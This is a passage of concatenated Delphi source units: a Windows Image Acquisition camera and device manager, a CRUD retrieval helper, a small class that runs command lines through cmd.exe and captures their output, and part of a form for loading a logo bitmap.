FLock: TCriticalSection = nil; FWiaManager: TWiaManager = nil; FWiaEventManager: TWIAEventManager = nil; FIWiaEventManager: IPEventManager = nil; function WiaManager: TWiaManager; begin if FWiaManager = nil then FWiaManager := TWiaManager.Create; Result := FWiaManager; end; function WiaEventManager: TWIAEventManager; begin if FWiaEventManager = nil then begin FWiaEventManager := TWIAEventManager.Create; FIWiaEventManager := FWiaEventManager; end; Result := FWiaEventManager; end; procedure CleanUpWIA(Handle: THandle); begin WiaManager.CleanUp(Handle); end; { TWDManager } constructor TWIADeviceManager.Create; begin FErrorCode := S_OK; FManager := nil; ErrorCheck(CoCreateInstance(CLSID_WiaDevMgr, nil, CLSCTX_LOCAL_SERVER, IID_IWiaDevMgr, FManager)); WiaEventManager.InitCallBacks; end; destructor TWIADeviceManager.Destroy; begin end; procedure TWIADeviceManager.ErrorCheck(Code: HRESULT); begin if Failed(Code) then FErrorCode := Code; end; procedure TWIADeviceManager.FillDeviceCallBack(Packet: TList<IPDevice>; var Cancel: Boolean; Context: Pointer); begin TList<IPDevice>(Context).AddRange(Packet); end; procedure TWIADeviceManager.FillDevices(Devices: TList<IPDevice>); begin FillDevicesWithCallBack(FillDeviceCallBack, Devices); end; procedure TWIADeviceManager.FillDevicesWithCallBack(CallBack: TFillDevicesCallBack; Context: Pointer); var Cancel: Boolean; HR: HRESULT; pWiaEnumDevInfo: IEnumWIA_DEV_INFO; pWiaPropertyStorage: IWiaPropertyStorage; pceltFetched: ULONG; Device: TWIADevice; DevList: TList<IPDevice>; begin Cancel := False; if FManager = nil then Exit; DevList := TList<IPDevice>.Create; try pWiaEnumDevInfo := nil; FLock.Enter; try HR := FManager.EnumDeviceInfo(WIA_DEVINFO_ENUM_LOCAL, pWiaEnumDevInfo); finally FLock.Leave; end; // // Loop until you get an error or pWiaEnumDevInfo->Next returns // S_FALSE to signal the end of the list. // while SUCCEEDED(HR) do begin // // Get the next device's property storage interface pointer // pWiaPropertyStorage := nil; FLock.Enter; try HR := pWiaEnumDevInfo.Next(1, pWiaPropertyStorage, @pceltFetched); finally FLock.Leave; end; // // pWiaEnumDevInfo->Next will return S_FALSE when the list is // exhausted, so check for S_OK before using the returned // value. // if pWiaPropertyStorage = nil then Break; if SUCCEEDED(HR) and (pWiaPropertyStorage <> nil) then begin DevList.Clear; Device := TWIADevice.Create(Self, pWiaPropertyStorage); DevList.Add(Device); CallBack(DevList, Cancel, Context); if Cancel then Break; end; end; finally F(DevList); end; end; procedure TWIADeviceManager.FindDeviceByIdCallBack(Packet: TList<IPDevice>; var Cancel: Boolean; Context: Pointer); var Device: IPDevice; C: TFindDeviceContext; begin C := TFindDeviceContext(Context); for Device in Packet do if AnsiUpperCase(Device.DeviceID) = AnsiUpperCase(C.Name) then begin C.Device := Device; Cancel := True; end; end; procedure TWIADeviceManager.FindDeviceByNameCallBack(Packet: TList<IPDevice>; var Cancel: Boolean; Context: Pointer); var Device: IPDevice; C: TFindDeviceContext; begin C := TFindDeviceContext(Context); for Device in Packet do if AnsiUpperCase(Device.Name) = AnsiUpperCase(C.Name) then begin C.Device := Device; Cancel := True; end; end; function TWIADeviceManager.GetDeviceByID(DeviceID: string): IPDevice; var Context: TFindDeviceContext; begin Context := TFindDeviceContext.Create; try Context.Name := DeviceID; try FillDevicesWithCallBack(FindDeviceByIdCallBack, Context); finally Result := Context.Device; end; finally F(Context); end; end; function TWIADeviceManager.GetDeviceByName(DeviceName: string): IPDevice; var Context: TFindDeviceContext; begin Context := TFindDeviceContext.Create; try Context.Name := DeviceName; try FillDevicesWithCallBack(FindDeviceByNameCallBack, Context); finally Result := Context.Device; end; finally F(Context); end; end; function TWIADeviceManager.GetErrorCode: HRESULT; begin Result := FErrorCode; end; { TWIADevice } constructor TWIADevice.Create(AManager: TWIADeviceManager; PropList: IWiaPropertyStorage); var HR: HResult; PropSpec: array of TPropSpec; PropVariant: array of TPropVariant; begin FManager := AManager; FPropList := PropList; FRoot := nil; FDeviceID := ''; FDeviceName := DEFAULT_PORTABLE_DEVICE_NAME; FDeviceType := dtOther; FBatteryStatus := 255; Setlength(PropSpec, 3); // // Device id // PropSpec[0].ulKind := PRSPEC_PROPID; PropSpec[0].propid := WIA_DIP_DEV_ID; // // Device Name // PropSpec[1].ulKind := PRSPEC_PROPID; PropSpec[1].propid := WIA_DIP_DEV_NAME; // // Device type // PropSpec[2].ulKind := PRSPEC_PROPID; PropSpec[2].propid := WIA_DIP_DEV_TYPE; SetLength(PropVariant, 3); FLock.Enter; try HR := PropList.ReadMultiple(3, @PropSpec[0], @PropVariant[0]); finally FLock.Leave; end; if SUCCEEDED(HR) then begin FDeviceID := PropVariant[0].bstrVal; FDeviceName := PropVariant[1].bstrVal; case HIWORD(PropVariant[2].lVal) of CameraDeviceType: FDeviceType := dtCamera; VideoDeviceType: FDeviceType := dtVideo; end; end; end; procedure TWIADevice.InitDevice; var bstrDeviceID: PChar; HR: HRESULT; PropSpec: array of TPropSpec; PropVariant: array of TPropVariant; begin if FRoot <> nil then Exit; HR := S_OK; FRoot := WiaManager.GetRoot(FDeviceID); if FRoot = nil then begin bstrDeviceID := SysAllocString(PChar(FDeviceID)); try FLock.Enter; try HR := Manager.FManager.CreateDevice(bstrDeviceID, FRoot); finally FLock.Leave; end; finally SysFreeString(bstrDeviceID); end; end; if SUCCEEDED(HR) and (FRoot <> nil) then begin WiaManager.AddItem(FDeviceID, Root); HR := FRoot.QueryInterface(IWIAPropertyStorage, FPropList); if SUCCEEDED(HR) then begin Setlength(PropSpec, 1); PropSpec[0].ulKind := PRSPEC_PROPID; PropSpec[0].propid := WIA_DPC_BATTERY_STATUS; SetLength(PropVariant, 1); FLock.Enter; try HR := FPropList.ReadMultiple(1, @PropSpec[0], @PropVariant[0]); finally FLock.Leave; end; if SUCCEEDED(HR) then FBatteryStatus := PropVariant[0].iVal; end else ErrorCheck(HR); end; end; function TWIADevice.Delete(ItemKey: string): Boolean; var Item: IPDItem; begin Result := False; Item := GetItemByKey(ItemKey); if Item <> nil then begin FLock.Enter; try Result := Succeeded(IWIAItem(Item.InnerInterface).DeleteItem(0)); finally FLock.Leave; end; end; end; procedure TWIADevice.ErrorCheck(Code: HRESULT); begin if Failed(Code) then FErrorCode := Code; end; procedure TWIADevice.FillItems(ItemKey: string; Items: TList<IPDItem>); begin FillItemsWithCallBack(ItemKey, FillItemsCallBack, Items); end; procedure TWIADevice.FillItemsCallBack(ParentKey: string; Packet: TList<IPDItem>; var Cancel: Boolean; Context: Pointer); begin TList<IPDItem>(Context).AddRange(Packet); end; procedure TWIADevice.FillItemsWithCallBack(ItemKey: string; CallBack: TFillItemsCallBack; Context: Pointer); var HR: HRESULT; pWiaItem: IWiaItem; lItemType: Integer; pEnumWiaItem: IEnumWiaItem; pChildWiaItem: IWiaItem; pceltFetched: ULONG; Cancel: Boolean; ItemList: TList<IPDItem>; Item: IPDItem; ParentPath: string; begin Cancel := False; if (ItemKey = '') and (Root <> nil) then pWiaItem := Root else pWiaItem := InternalGetItemByKey(ItemKey); if ItemKey = '' then ParentPath := '' else ParentPath := PortableItemNameCache.GetPathByKey(FDeviceID, ItemKey); HR := S_OK; if pWiaItem <> nil then begin ItemList := TList<IPDItem>.Create; try // // Get the item type for this item. // FLock.Enter; try HR := pWiaItem.GetItemType(lItemType); finally FLock.Leave; end; if (SUCCEEDED(HR)) then begin // // If it is a folder, or it has attachments, enumerate its children. // if ((lItemType and WiaItemTypeFolder) > 0) or ((lItemType and WiaItemTypeHasAttachments) > 0) then begin // // Get the child item enumerator for this item. // FLock.Enter; try HR := pWiaItem.EnumChildItems(pEnumWiaItem); finally FLock.Leave; end; // // Loop until you get an error or pEnumWiaItem->Next returns // S_FALSE to signal the end of the list. // while (SUCCEEDED(HR)) do begin // // Get the next child item. // FLock.Enter; try HR := pEnumWiaItem.Next(1, pChildWiaItem, pceltFetched); finally FLock.Leave; end; if pChildWiaItem = nil then Break; // // pEnumWiaItem->Next will return S_FALSE when the list is // exhausted, so check for S_OK before using the returned // value. // if (SUCCEEDED(HR)) then begin Item := TWIAItem.Create(Self, pChildWiaItem); ItemList.Add(Item); PortableItemNameCache.AddName(FDeviceID, Item.ItemKey, ItemKey, ParentPath + '\' + Item.Name); CallBack(ItemKey, ItemList, Cancel, Context); if Cancel then Break; ItemList.Clear; end; end; // // If the result of the enumeration is S_FALSE (which // is normal), change it to S_OK. // if (S_FALSE = hr) then HR := S_OK; // // Release the enumerator. // //pEnumWiaItem->Release(); //pEnumWiaItem = NULL; end; end; finally F(ItemList); end; end; ErrorCheck(HR); end; procedure TWIADevice.FindItemByKeyCallBack(ParentKey: string; Packet: TList<IPDItem>; var Cancel: Boolean; Context: Pointer); var Item: IPDItem; C: TFindItemContext; begin C := TFindItemContext(Context); for Item in Packet do if C.ItemKey = Item.ItemKey then begin Cancel := True; C.Item := Item; Break; end; end; function TWIADevice.GetBatteryStatus: Byte; begin InitDevice; Result := FBatteryStatus; end; function TWIADevice.GetDeviceID: string; begin Result := FDeviceID; end; function TWIADevice.GetDeviceType: TDeviceType; begin Result := FDeviceType; end; function TWIADevice.GetErrorCode: HRESULT; begin Result := FErrorCode; end; function TWIADevice.GetItemByKey(ItemKey: string): IPDItem; var Item: IWiaItem; begin Result := nil; Item := InternalGetItemByKey(ItemKey); if Item <> nil then Result := TWiaItem.Create(Self, Item); end; function TWIADevice.GetItemByPath(Path: string): IPDItem; var ItemKey: string; begin ItemKey := PortableItemNameCache.GetKeyByPath(FDeviceID, Path); Result := GetItemByKey(ItemKey); end; function TWIADevice.GetName: string; begin Result := FDeviceName; end; function TWIADevice.GetRoot: IWiaItem; begin InitDevice; Result := FRoot; end; function TWIADevice.InternalGetItemByKey(ItemKey: string): IWiaItem; var Context: TFindItemContext; begin Result := nil; if (Root <> nil) and (Result = nil) then begin //always returns root item :( //Root.FItem.FindItemByName(0, PChar(ItemKey), Result); if Result = nil then begin Context := TFindItemContext.Create; try Context.ItemKey := ItemKey; FillItemsWithCallBack('', FindItemByKeyCallBack, Context); if Context.Item <> nil then Result := IWiaItem(Context.Item.InnerInterface); finally F(Context); end; end; end; end; { TWIAItem } function TWIAItem.Clone: IPDItem; begin Result := nil; end; constructor TWIAItem.Create(ADevice: TWIADevice; AItem: IWIAItem); begin FItem := AItem; FDevice := ADevice; FErrorCode := S_OK; FItemType := piFile; FItemKey := ''; FFreeSize := 0; FFullSize := 0; FItemDate := MinDateTime; FDeviceID := ADevice.FDeviceID; FDeviceName := ADevice.FDeviceName; FVisible := True; FWidth := 0; FHeight := 0; ReadProps; end; procedure TWIAItem.ErrorCheck(Code: HRESULT); begin if Failed(Code) then FErrorCode := Code; end; function TWIAItem.ExtractPreview(var PreviewImage: TBitmap): Boolean; var HR: HRESULT; PropList: IWiaPropertyStorage; PropSpec: array of TPropSpec; PropVariant: array of TPropVariant; W, H, ImageWidth, ImageHeight, PreviewWidth, PreviewHeight: Integer; BitmapPreview: TBitmap; procedure ReadBitmapFromBuffer(Buffer: Pointer; Bitmap: TBitmap; W, H: Integer); var I, J: Integer; P: PARGB; PS: PRGB; Addr, Line: Integer; begin Bitmap.PixelFormat := pf24bit; Bitmap.SetSize(W, H); Line := W * 3; for I := 0 to H - 1 do begin P := Bitmap.ScanLine[H - I - 1]; for J := 0 to W - 1 do begin Addr := Integer(Buffer) + I * Line + J * 3; PS := PRGB(Addr); P[J] := PS^; end; end; end; begin Result := False; HR := FItem.QueryInterface(IWIAPropertyStorage, PropList); if HR = S_OK then begin SetLength(PropSpec, 5); PropSpec[0].ulKind := PRSPEC_PROPID; PropSpec[0].propid := WIA_IPA_PIXELS_PER_LINE; PropSpec[1].ulKind := PRSPEC_PROPID; PropSpec[1].propid := WIA_IPA_NUMBER_OF_LINES; PropSpec[2].ulKind := PRSPEC_PROPID; PropSpec[2].propid := WIA_IPC_THUMB_WIDTH; PropSpec[3].ulKind := PRSPEC_PROPID; PropSpec[3].propid := WIA_IPC_THUMB_HEIGHT; PropSpec[4].ulKind := PRSPEC_PROPID; PropSpec[4].propid := WIA_IPC_THUMBNAIL; SetLength(PropVariant, 5); FLock.Enter; try HR := PropList.ReadMultiple(5, @PropSpec[0], @PropVariant[0]); finally FLock.Leave; end; if SUCCEEDED(HR) and (PropVariant[4].cadate.pElems <> nil) then begin ImageWidth := PropVariant[0].ulVal; ImageHeight := PropVariant[1].ulVal; PreviewWidth := PropVariant[2].ulVal; PreviewHeight := PropVariant[3].ulVal; BitmapPreview := TBitmap.Create; try ReadBitmapFromBuffer(PropVariant[4].cadate.pElems, BitmapPreview, PreviewWidth, PreviewHeight); W := ImageWidth; H := ImageHeight; ProportionalSize(PreviewWidth, PreviewHeight, W, H); if ((W <> PreviewWidth) or (H <> PreviewHeight)) and (W > 0) and (H > 0) then begin PreviewImage.PixelFormat := pf24Bit; PreviewImage.SetSize(W, H); DrawImageExRect(PreviewImage, BitmapPreview, PreviewWidth div 2 - W div 2, PreviewHeight div 2 - H div 2, W, H, 0, 0); end else AssignBitmap(PreviewImage, BitmapPreview); Result := not PreviewImage.Empty; finally F(BitmapPreview); end; end; end else ErrorCheck(HR); end; function TWIAItem.GetDeviceID: string; begin Result := FDeviceID; end; function TWIAItem.GetDeviceName: string; begin Result := FDeviceName; end; function TWIAItem.GetErrorCode: HRESULT; begin Result := FErrorCode; end; function TWIAItem.GetFreeSize: Int64; begin Result := FFreeSize; end; function TWIAItem.GetFullSize: Int64; begin Result := FFullSize; end; function TWIAItem.GetHeight: Integer; begin Result := FHeight; end; function TWIAItem.GetInnerInterface: IUnknown; begin Result := FItem; end; function TWIAItem.GetIsVisible: Boolean; begin Result := FVisible; end; function TWIAItem.GetItemDate: TDateTime; begin Result := FItemDate; end; function TWIAItem.GetItemKey: string; begin Result := FItemKey; end; function TWIAItem.GetItemType: TPortableItemType; begin Result := FItemType; end; function TWIAItem.GetName: string; begin Result := FName; end; function TWIAItem.GetWidth: Integer; begin Result := FWidth; end; procedure TWIAItem.ReadProps; var HR: HRESULT; PropList: IWiaPropertyStorage; PropSpec: array of TPropSpec; PropVariant: array of TPropVariant; begin HR := FItem.QueryInterface(IWIAPropertyStorage, PropList); if SUCCEEDED(HR) then begin Setlength(PropSpec, 8); PropSpec[0].ulKind := PRSPEC_PROPID; PropSpec[0].propid := WIA_IPA_FULL_ITEM_NAME; PropSpec[1].ulKind := PRSPEC_PROPID; PropSpec[1].propid := WIA_IPA_ITEM_NAME; PropSpec[2].ulKind := PRSPEC_PROPID; PropSpec[2].propid := WIA_IPA_FILENAME_EXTENSION; PropSpec[3].ulKind := PRSPEC_PROPID; PropSpec[3].propid := WIA_IPA_ITEM_FLAGS; PropSpec[4].ulKind := PRSPEC_PROPID; PropSpec[4].propid := WIA_IPA_ITEM_TIME; PropSpec[5].ulKind := PRSPEC_PROPID; PropSpec[5].propid := WIA_IPA_ITEM_SIZE; PropSpec[6].ulKind := PRSPEC_PROPID; PropSpec[6].propid := WIA_IPA_PIXELS_PER_LINE; PropSpec[7].ulKind := PRSPEC_PROPID; PropSpec[7].propid := WIA_IPA_NUMBER_OF_LINES; Setlength(PropVariant, 8); FLock.Enter; try HR := PropList.ReadMultiple(8, @PropSpec[0], @PropVariant[0]); finally FLock.Leave; end; if SUCCEEDED(HR) then begin if PropVariant[6].lVal > 0 then FWidth := PropVariant[6].lVal; if PropVariant[7].lVal > 0 then FHeight := PropVariant[7].lVal; FName := PropVariant[1].bstrVal; if PropVariant[2].bstrVal <> '' then FName := FName + '.' + PropVariant[2].bstrVal; FFullSize := PropVariant[5].hVal.QuadPart; FItemKey := PropVariant[0].bstrVal; if PSystemTime(PropVariant[4].cadate.pElems) <> nil then FItemDate := SystemTimeToDateTime(PSystemTime(PropVariant[4].cadate.pElems)^); if PropVariant[3].ulVal and ImageItemFlag > 0 then FItemType := piImage else if PropVariant[3].ulVal and FolderItemFlag > 0 then FItemType := piDirectory else if PropVariant[3].ulVal and StorageItemFlag > 0 then FItemType := piStorage else if PropVariant[3].ulVal and VideoItemFlag > 0 then FItemType := piVideo; end else ErrorCheck(HR); end else ErrorCheck(HR); end; function TWIAItem.SaveToStream(S: TStream): Boolean; begin Result := SaveToStreamEx(S, nil); end; function TWIAItem.SaveToStreamEx(S: TStream; CallBack: TPDProgressCallBack): Boolean; var HR: HRESULT; Transfer: IWiaDataTransfer; PropList: IWiaPropertyStorage; PropSpec: array of TPropSpec; PropVariant: array of TPropVariant; TransferData: WIA_DATA_TRANSFER_INFO; WCallBack: IWiaDataCallback; begin Result := False; HR := FItem.QueryInterface(IWIAPropertyStorage, PropList); if SUCCEEDED(HR) then begin Setlength(PropSpec, 1); PropSpec[0].ulKind := PRSPEC_PROPID; PropSpec[0].propid := WIA_IPA_PREFERRED_FORMAT; Setlength(PropVariant, 1); FLock.Enter; try HR := PropList.ReadMultiple(1, @PropSpec[0], @PropVariant[0]); finally FLock.Leave; end; if SUCCEEDED(HR) then begin HR := FItem.QueryInterface(IWiaDataTransfer, Transfer); if SUCCEEDED(HR) then begin Setlength(PropSpec, 2); PropSpec[0].ulKind := PRSPEC_PROPID; PropSpec[0].propid := WIA_IPA_FORMAT; PropSpec[1].ulKind := PRSPEC_PROPID; PropSpec[1].propid := WIA_IPA_TYMED; SetLength(PropVariant, 2); PropVariant[0].vt := VT_CLSID; PropVariant[0].puuid := PropVariant[0].puuid; PropVariant[1].vt := VT_I4; PropVariant[1].lVal := TYMED_CALLBACK; FLock.Enter; try HR := PropList.WriteMultiple(2, @PropSpec[0], @PropVariant[0], WIA_IPA_FIRST); finally FLock.Leave; end; if SUCCEEDED(HR) then begin FillChar(TransferData, SizeOf(TransferData), #0); TransferData.ulSize := Sizeof(WIA_DATA_TRANSFER_INFO); TransferData.ulBufferSize := 2 * 1024 * 1024; TransferData.bDoubleBuffer := True; FLock.Enter; try WCallBack := TWiaDataCallback.Create(Self, S, CallBack); try HR := Transfer.idtGetBandedData(@TransferData, WCallBack); finally WCallBack := nil; end; finally FLock.Leave; end; ErrorCheck(HR); Result := SUCCEEDED(HR); end; end; end; end else ErrorCheck(HR); end; { TWiaDataCallback } function TWiaDataCallback.BandedDataCallback(lMessage, lStatus, lPercentComplete, lOffset, lLength, lReserved, lResLength: Integer; pbBuffer: Pointer): HRESULT; var B: Boolean; begin Result := S_OK; B := False; case lMessage of IT_MSG_DATA: begin if lStatus = IT_STATUS_TRANSFER_TO_CLIENT then begin FStream.Write(pbBuffer^, lLength); if Assigned(FCallBack) then begin FLock.Leave; try FCallBack(FItem, FItem.FFullSize, FStream.Size, B); finally FLock.Enter; end; if B then Result := S_FALSE; end; end; end; IT_MSG_TERMINATION: FItem := nil; end; end; constructor TWiaDataCallback.Create(Item: TWIAItem; Stream: TStream; CallBack: TPDProgressCallBack); begin inherited Create; FItem := Item; FStream := Stream; FCallBack := CallBack; end; { TWIACallBack } function TWIAEventCallBack.ImageEventCallback(pEventGUID: PGUID; bstrEventDescription, bstrDeviceID, bstrDeviceDescription: PChar; dwDeviceType: DWORD; bstrFullItemName: PChar; var pulEventType: PULONG; ulReserved: ULONG): HRESULT; var Manager: IPManager; Device: IPDevice; FilePath: string; begin if pEventGUID^ = WIA_EVENT_DEVICE_DISCONNECTED then begin PortableItemNameCache.ClearDeviceCache(bstrDeviceID); TThread.Synchronize(nil, procedure begin WiaEventManager.InvokeItem(peDeviceDisconnected, bstrDeviceID, '', ''); end ); end; if pEventGUID^ = WIA_EVENT_DEVICE_CONNECTED then begin PortableItemNameCache.ClearDeviceCache(bstrDeviceID); TThread.Synchronize(nil, procedure begin WiaEventManager.InvokeItem(peDeviceConnected, bstrDeviceID, '', ''); end ); end; if pEventGUID^ = WIA_EVENT_ITEM_CREATED then begin TThread.Synchronize(nil, procedure begin WiaEventManager.InvokeItem(peItemAdded, bstrDeviceID, bstrFullItemName, ''); end ); end; if pEventGUID^ = WIA_EVENT_ITEM_DELETED then begin Manager := TWIADeviceManager.Create; Device := Manager.GetDeviceByID(bstrDeviceID); if Device <> nil then begin FilePath := Device.Name + PortableItemNameCache.GetPathByKey(bstrDeviceID, string(bstrFullItemName)); TThread.Synchronize(nil, procedure begin WiaEventManager.InvokeItem(peItemRemoved, bstrDeviceID, bstrFullItemName, FilePath); end ); end; end; Result := S_OK; end; { TWiaManager } procedure TWiaManager.AddItem(DeviceID: string; Root: IWiaItem); var Info: TWIADeviceInfo; begin FLock.Enter; try Info := TWIADeviceInfo.Create(DeviceID, Root, ThreadId); FDevicesCache.Add(Info); finally FLock.Leave; end; end; procedure TWiaManager.CleanUp(ThreadID: THandle); var I: Integer; begin FLock.Enter; try for I := FDevicesCache.Count - 1 downto 0 do begin if FDevicesCache[I].ThreadID = ThreadID then begin FDevicesCache[I].Free; FDevicesCache.Delete(I); end; end; finally FLock.Leave; end; end; constructor TWiaManager.Create; begin FDevicesCache := TList<TWIADeviceInfo>.Create; FLock := TCriticalSection.Create; end; destructor TWiaManager.Destroy; begin F(FLock); FreeList(FDevicesCache); inherited; end; function TWiaManager.GetRoot(DeviceID: string): IWiaItem; var I: Integer; begin FLock.Enter; try for I := FDevicesCache.Count - 1 downto 0 do begin if (FDevicesCache[I].ThreadID = ThreadId) and (AnsiLowerCase(FDevicesCache[I].DeviceID) = AnsiLowerCase(DeviceID)) then begin Result := FDevicesCache[I].Root; Break; end; end; finally FLock.Leave; end; end; function TWiaManager.GetThreadID: THandle; begin Result := GetCurrentThreadId; end; { TWIADeviceInfo } constructor TWIADeviceInfo.Create(DeviceID: string; Root: IWiaItem; ThreadID: THandle); begin FDeviceID := DeviceID; FRoot := Root; FThreadID := ThreadID; end; { TWIAEventManager } constructor TWIAEventManager.Create; begin FEventTargets := TList<TEventTargetInfo>.Create; FManager := nil; end; destructor TWIAEventManager.Destroy; begin FreeList(FEventTargets); inherited; end; procedure TWIAEventManager.InitCallBacks; var HR: HRESULT; begin if FManager = nil then begin HR := CoInitializeEx(nil, COINIT_MULTITHREADED); //COINIT_MULTITHREADED is already initialized if HR = S_FALSE then begin CoCreateInstance(CLSID_WiaDevMgr, nil, CLSCTX_LOCAL_SERVER, IID_IWiaDevMgr, FManager); FEventCallBack := TWIAEventCallBack.Create; FObjEventDeviceConnected := nil; FObjEventDeviceDisconnected := nil; FObjEventCallBackCreated := nil; FObjEventCallBackDeleted := nil; if FManager <> nil then begin FManager.RegisterEventCallbackInterface(0, nil, @WIA_EVENT_DEVICE_CONNECTED, FEventCallBack, FObjEventDeviceConnected); FManager.RegisterEventCallbackInterface(0, nil, @WIA_EVENT_DEVICE_DISCONNECTED, FEventCallBack, FObjEventDeviceDisconnected); FManager.RegisterEventCallbackInterface(0, nil, @WIA_EVENT_ITEM_CREATED, FEventCallBack, FObjEventCallBackCreated); FManager.RegisterEventCallbackInterface(0, nil, @WIA_EVENT_ITEM_DELETED, FEventCallBack, FObjEventCallBackDeleted); end; end; end; end; procedure TWIAEventManager.InvokeItem(EventType: TPortableEventType; DeviceID, ItemKey, ItemPath: string); var Info: TEventTargetInfo; begin for Info in FEventTargets do if EventType in Info.EventTypes then Info.CallBack(EventType, DeviceID, ItemKey, ItemPath); end; procedure TWIAEventManager.RegisterNotification(EventTypes: TPortableEventTypes; CallBack: TPortableEventCallBack); var Info: TEventTargetInfo; begin Info := TEventTargetInfo.Create; Info.EventTypes := EventTypes; Info.CallBack := CallBack; FEventTargets.Add(Info); end; procedure TWIAEventManager.UnregisterNotification( CallBack: TPortableEventCallBack); var I: Integer; Info: TEventTargetInfo; begin for I := FEventTargets.Count - 1 downto 0 do begin Info := FEventTargets[I]; if Addr(Info.CallBack) = Addr(CallBack) then begin FEventTargets.Remove(Info); Info.Free; end; end; end; initialization FLock := TCriticalSection.Create; finalization F(FLock); F(FWiaManager); end.
unit uServerModelHelper; interface uses uModApp,System.SysUtils, uServerClasses; type TCRUDObj = class private public class function RetrieveCode<T: class>(aCode: string): T; class function Retrieve<T: class>(aID: string; LoadObjectList: Boolean = True): T; end; function GetModAppRestID(aObject: TModApp): String; implementation uses System.Rtti, System.TypInfo, Vcl.Dialogs; function GetModAppRestID(aObject: TModApp): String; begin Result := 'null'; if aObject <> nil then Result := aObject.ID; end; class function TCRUDObj.RetrieveCode<T>(aCode: string): T; var lCRUD: TCRUD; sClass: string; begin lCRUD := TCRUD.Create(nil); Try if (T = nil) then Raise Exception.Create('Type can''t be nil') else if not TClass(T).InheritsFrom(TModApp) then Raise Exception.Create('Type must inherti from TObjectModel') else begin sClass := T.ClassName; Result := T(lCRUD.RetrieveByCode(sClass, aCode)) end; Finally FreeAndNil(lCRUD); End; end; class function TCRUDObj.Retrieve<T>(aID: string; LoadObjectList: Boolean = True): T; var lCRUD: TCrud; sClass: string; begin lCRUD := TCRUD.Create(nil); Try if (T = nil) then Raise Exception.Create('Type can''t be nil') else if not TClass(T).InheritsFrom(TModApp) then Raise Exception.Create('Type must inherti from TObjectModel') else begin sClass := T.ClassName; if LoadObjectList then Result := T(lCRUD.Retrieve(sClass, aID)) else Result := T(lCRUD.RetrieveSingle(sClass, aID)); end; Finally FreeAndNil(lCRUD); End; end; end.
unit DAW.Utils.DosCMD; interface uses System.SysUtils; type TDosCMD = class private FWorkDir: string; FCommandLine: string; FOnExecute: TProc<string>; procedure DoOnExecute(const AData: string); public function Execute: string; overload; function Execute(const ACommandLine: string): string; overload; function Execute(const ACommandLine, AWork: string): string; overload; constructor Create(const ACommandLine, AWorkDir: string); property WorkDir: string read FWorkDir write FWorkDir; property CommandLine: string read FCommandLine write FCommandLine; property OnExecute: TProc<string> read FOnExecute write FOnExecute; end; implementation uses Winapi.Windows; { TDosCMD } function TDosCMD.Execute: string; var SA: TSecurityAttributes; SI: TStartupInfo; PI: TProcessInformation; StdOutPipeRead, StdOutPipeWrite: THandle; WasOK: Boolean; Buffer: array[0..255] of AnsiChar; BytesRead: Cardinal; Handle: Boolean; begin Result := ''; with SA do begin nLength := SizeOf(SA); bInheritHandle := True; lpSecurityDescriptor := nil; end; CreatePipe(StdOutPipeRead, StdOutPipeWrite, @SA, 0); try with SI do begin FillChar(SI, SizeOf(SI), 0); cb := SizeOf(SI); dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES; wShowWindow := SW_HIDE; hStdInput := GetStdHandle(STD_INPUT_HANDLE); // don't redirect stdin hStdOutput := StdOutPipeWrite; hStdError := StdOutPipeWrite; end; Handle := CreateProcess(nil, PChar('cmd.exe /C ' + FCommandLine), nil, nil, True, 0, nil, PChar(FWorkDir), SI, PI); CloseHandle(StdOutPipeWrite); if Handle then try repeat WasOK := ReadFile(StdOutPipeRead, Buffer, 255, BytesRead, nil); if BytesRead > 0 then begin Buffer[BytesRead] := #0; Result := Result + Buffer; end; until not WasOK or (BytesRead = 0); WaitForSingleObject(PI.hProcess, INFINITE); finally CloseHandle(PI.hThread); CloseHandle(PI.hProcess); end; finally CloseHandle(StdOutPipeRead); end; DoOnExecute(Result); end; constructor TDosCMD.Create(const ACommandLine, AWorkDir: string); begin FWorkDir := AWorkDir; FCommandLine := ACommandLine; end; procedure TDosCMD.DoOnExecute(const AData: string); begin if Assigned(OnExecute) then OnExecute(AData); end; function TDosCMD.Execute(const ACommandLine, AWork: string): string; begin FWorkDir := AWork; FCommandLine := ACommandLine; Result := Execute; end; function TDosCMD.Execute(const ACommandLine: string): string; begin FCommandLine := ACommandLine; Result := Execute; end; end.
unit uLoadBMP; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls,Common; type TfrmOpenPictureDialog = class(TForm) OpenDialog: TOpenDialog; Panel1: TPanel; Panel2: TPanel; ImagePanel: TPanel; btnOK: TButton; Button2: TButton; btnLoad: TButton; btnSave: TButton; btnClear: TButton; Image: TImage; Label1: TLabel; Label2: TLabel; lblDimAt300: TLabel; lblDimAt600: TLabel; SaveDialog: TSaveDialog; Label3: TLabel; lblFileName: TLabel; procedure btnLoadClick(Sender: TObject); procedure btnClearClick(Sender: TObject); procedure btnSaveClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } procedure CalcDimensions; public { Public declarations } Filename:string; end; var frmOpenPictureDialog: TfrmOpenPictureDialog; implementation {$R *.DFM} procedure TfrmOpenPictureDialog.CalcDimensions; var s : string; begin Image.Visible := true; str(Image.Picture.width/300:7:2,s); lblDimAt300.caption := trim(s) + '" x '; str(Image.Picture.height/300:7:2,s); lblDimAt300.caption := lblDimAt300.caption + trim(s) + '"'; str(Image.Picture.width/600:7:2,s); lblDimAt600.caption := trim(s) + '" x '; str(Image.Picture.height/600:7:2,s); lblDimAt600.caption := lblDimAt600.caption + trim(s) + '"'; btnSave.Enabled := true; btnClear.Enabled := true; btnOK.enabled := (label3.caption=''); with image do begin align := alNone; height := round(picture.height * 0.1479); width := round(picture.width * 0.1479); left := (imagepanel.width div 2) - (width div 2); top := (imagepanel.height div 2) - (height div 2); stretch := true; Imagepanel.caption := ''; end; end; procedure TfrmOpenPictureDialog.btnLoadClick(Sender: TObject); var f: file of Byte; size : Longint; begin OpenDialog.InitialDir := GetPath('Load Logo'); if OpenDialog.Execute then begin Image.Picture.LoadFromFile(OpenDialog.Filename); AssignFile(f, OpenDialog.FileName); Reset(f); size := FileSize(f); CloseFile(f); if size > 32000 then begin label3.caption := 'File Size='+inttostr(size); btnOK.enabled := false; end else begin label3.caption := ''; btnOK.enabled := true; end; CalcDimensions; SetPath('Load Logo', ExtractFilePath(OpenDialog.Filename)); FileName := ExtractFileName(OpenDialog.Filename); lblFileName.Caption := FileName; end; end; procedure TfrmOpenPictureDialog.btnClearClick(Sender: TObject); begin Image.Visible := false;; lblDimAt300.Caption := ''; lblDimAt600.Caption := ''; 